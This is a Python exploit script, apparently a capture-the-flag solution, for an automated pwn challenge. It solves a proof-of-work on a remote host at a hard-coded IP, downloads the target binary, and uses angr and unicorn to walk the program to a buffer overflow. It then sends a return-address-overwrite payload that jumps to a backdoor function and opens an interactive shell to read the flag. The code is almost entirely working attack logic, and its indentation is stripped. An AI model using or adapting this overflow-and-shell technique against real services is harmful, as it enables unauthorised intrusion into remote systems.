1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
| import string
import base64
from pwn import *
from pwnlib.util.iters import bruteforce
import networkx.classes.reportviews
from pwn import *
import angr
from unicorn.x86_const import *
import am_graph
from unicorn import *
context.log_level = "debug"
BASE = 0x400000
CODE = BASE + 0x0
CODE_SIZE = 0x100000
STACK = 0x7F00000000
STACK_SIZE = 0x100000
RSP = STACK + 0x8000
RBP = RSP
RSP = RBP - 0x1000 - 0x420
RETN_DEEP = 0
FOUND_OVERFLOW = False
OVERFLOW_OFFSET = 0
OVERFLOW_LEN = 0
PATH = []
TYPE = -1
CODE_LOW = 0
CODE_HIGH = 0
CODE_TARGET = 0
CODE_CON = -1
CODE_OUTPUT = ""
CODE_EXIT = 0
TYPE1_STR = ""
TYPE1_READLEN = 0
TYPE2_CNT = 0
def u2s(n):
return n if n < (1 << 31) else n - (1 << 32)
def retn(uc, retn=0):
rsp = uc.reg_read(UC_X86_REG_RSP)
retn_addr = u64(uc.mem_read(rsp, 8))
uc.reg_write(UC_X86_REG_RAX, retn)
uc.reg_write(UC_X86_REG_RIP, retn_addr)
def hook_block(uc, address, size, user_data):
global FOUND_OVERFLOW, CODE_LOW, CODE_HIGH, CODE_TARGET, TYPE, CODE_CON, TYPE2_CNT, TYPE1_STR, TYPE1_READLEN, CODE_OUTPUT, OVERFLOW_OFFSET, OVERFLOW_LEN
#print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
if address + 4 == elf.plt['printf']:
# print('printf')
rdi = uc.reg_read(UC_X86_REG_RDI)
str = ""
while True:
ch = uc.mem_read(rdi, 1)
if ch == b'\x00':
break
str += ch.decode()
rdi += 1
CODE_OUTPUT = str
retn(uc)
return
if address == 0x401272:
# print('input_line')
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
TYPE1_READLEN = rsi
if rdi + rsi > RBP and rdi < RBP:
FOUND_OVERFLOW = True
OVERFLOW_OFFSET = RBP - rdi
OVERFLOW_LEN = rsi
print('overflow')
else:
FOUND_OVERFLOW = False
retn(uc)
return
if address == 0x4012CE:
# print('cmp')
TYPE = 1
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
TYPE1_STR = ""
while True:
ch1 = uc.mem_read(rdi, 1)
ch2 = uc.mem_read(rsi, 1)
if ch2 == b'\x00':
break
TYPE1_STR += chr(ord(ch1) ^ ord(ch2))
rdi += 1
rsi += 1
retn(uc, 1)
return
if address == 0x401216:
# print('input_val')
TYPE = 2
TYPE2_CNT += 1
retn(uc)
return
if address == 0x40137A:
# print('init')
retn(uc)
return
if address == CODE_EXIT:
# print('exit')
uc.emu_stop()
return
if CODE_LOW != 0 and not CODE_LOW <= address < CODE_HIGH:
if TYPE == 1:
if CODE_TARGET == address:
CODE_CON = 0
else:
CODE_CON = 1
else:
if CODE_TARGET == address:
CODE_CON = 0
else:
CODE_CON = 1
uc.emu_stop()
def find_path(x, fa, node):
global RETN_DEEP, CODE_EXIT
assert len(node.out_branches) <= 1
if len(node.out_branches) == 0:
CODE_EXIT = node.addr
RETN_DEEP = x
return False
for edge in supergraph.out_edges(node):
to = edge[1]
if find_path(x + 1, node, to):
if fa.addr != node.addr:
print(hex(fa.addr) + "->" + hex(node.addr))
PATH.append(node)
return True
if x == RETN_DEEP - 2:
try:
uc.emu_start(node.addr, node.addr + node.size)
except Exception as e:
print(e)
if FOUND_OVERFLOW:
PATH.append(node)
return True
# print(hex(node.addr), supergraph.in_degree(node), supergraph.out_degree(node), len(node.out_branches))
def init(uc):
uc.mem_map(CODE, CODE_SIZE, UC_PROT_ALL)
uc.mem_map(STACK, STACK_SIZE, UC_PROT_ALL)
uc.mem_write(CODE, CODE_DATA)
uc.reg_write(UC_X86_REG_RSP, RSP)
uc.reg_write(UC_X86_REG_RBP, RBP)
uc.hook_add(UC_HOOK_BLOCK, hook_block)
def passpow():
sh.recvuntil('sha256(xxxx + ')
last = sh.recvuntil(')', drop=True)
sh.recvuntil(' == ')
target = sh.recvuntil(' ', drop=True)
print(last, target)
return bruteforce(lambda x: hashlib.sha256(x.encode() + last).hexdigest().encode() == target,
string.ascii_letters + string.digits, length=4, method='fixed')
filename = r"vul"
sh = remote('123.60.82.85', 1447)
x = passpow()
sh.recvuntil("give me xxxx:")
sh.sendline(x)
ba = sh.recvuntil('==end==')
f = base64.b64decode(ba)
with open(filename, "wb") as fp:
fp.write(f)
with open(filename, "rb") as f:
CODE_DATA = f.read()
uc = Uc(UC_ARCH_X86, UC_MODE_64)
init(uc)
elf = ELF(filename)
project = angr.Project(filename, load_options={'auto_load_libs': False})
assert isinstance(project.analyses, angr.analyses.analysis.AnalysesHub)
cfg = project.analyses.CFGFast(normalize=True, force_complete_scan=False)
assert isinstance(cfg, angr.analyses.CFGFast)
main_addr = elf.sym['main']
main_fun = cfg.functions.get(main_addr)
assert isinstance(main_fun, angr.knowledge_plugins.functions.Function)
supergraph = am_graph.to_supergraph(main_fun.graph)
assert isinstance(supergraph, networkx.classes.digraph.DiGraph)
IN_NODE = None
for node in supergraph.nodes():
assert isinstance(node, am_graph.SuperCFGNode)
if supergraph.in_degree(node) == 0:
IN_NODE = node
break
assert IN_NODE != None
find_path(0, IN_NODE, IN_NODE)
PATH.reverse()
print(PATH)
init_state = project.factory.entry_state()
class inputSim(angr.SimProcedure):
def run(self):
stdin = self.state.posix.get_fd(0)
data, real_length, = stdin.read_data(4)
return data
project.hook_symbol("_Z9input_valv", inputSim())
for i in range(len(PATH) - 1):
fa = PATH[i]
to = PATH[i + 1]
print("Solve: " + hex(fa.addr) + '->' + hex(to.addr))
try:
CODE_LOW = fa.addr
CODE_HIGH = fa.addr + fa.size
CODE_TARGET = to.addr
CODE_CON = -1
TYPE2_CNT = 0
uc.emu_start(CODE_LOW, CODE_HIGH)
if CODE_CON == -1:
if TYPE == 1:
CODE_CON = 1
else:
CODE_CON = 1
print(TYPE, CODE_CON)
CODE_INPUT = ""
if TYPE == 1:
if CODE_CON == 0:
CODE_INPUT = 'a' * TYPE1_READLEN
else:
CODE_INPUT = TYPE1_STR
else:
if CODE_CON == 0:
CODE_INPUT = ' ' * TYPE2_CNT
else:
INPUT_CNT = 0
init_state.regs.rip = fa.addr
sm = project.factory.simulation_manager(init_state)
sm.explore(find=to.addr)
assert len(sm.found) > 0
found_state = sm.found[0]
k = found_state.posix.dumps(0)
for i in range(0, len(k), 4):
CODE_INPUT += str(u32(k[i: i + 4])) + " "
print(CODE_OUTPUT)
print(CODE_INPUT)
sh.recvuntil(CODE_OUTPUT.encode(encoding='latin-1'))
sh.send(CODE_INPUT.encode(encoding='latin-1'))
except Exception as e:
print(e)
print('OVERFLOW_OFFSET:' + str(OVERFLOW_OFFSET))
print('OVERFLOW_LEN:' + str(OVERFLOW_LEN))
payload = b'a' * OVERFLOW_OFFSET + p64(elf.bss() + 0x500) + p64(CODE_EXIT + 0x1) + p64(elf.sym['_Z8backdoorv'])
payload = payload.ljust(OVERFLOW_LEN, b'x')
sh.send(payload)
pause()
sh.sendline(b"ls")
sh.sendline(b"cat flag")
sh.interactive()
|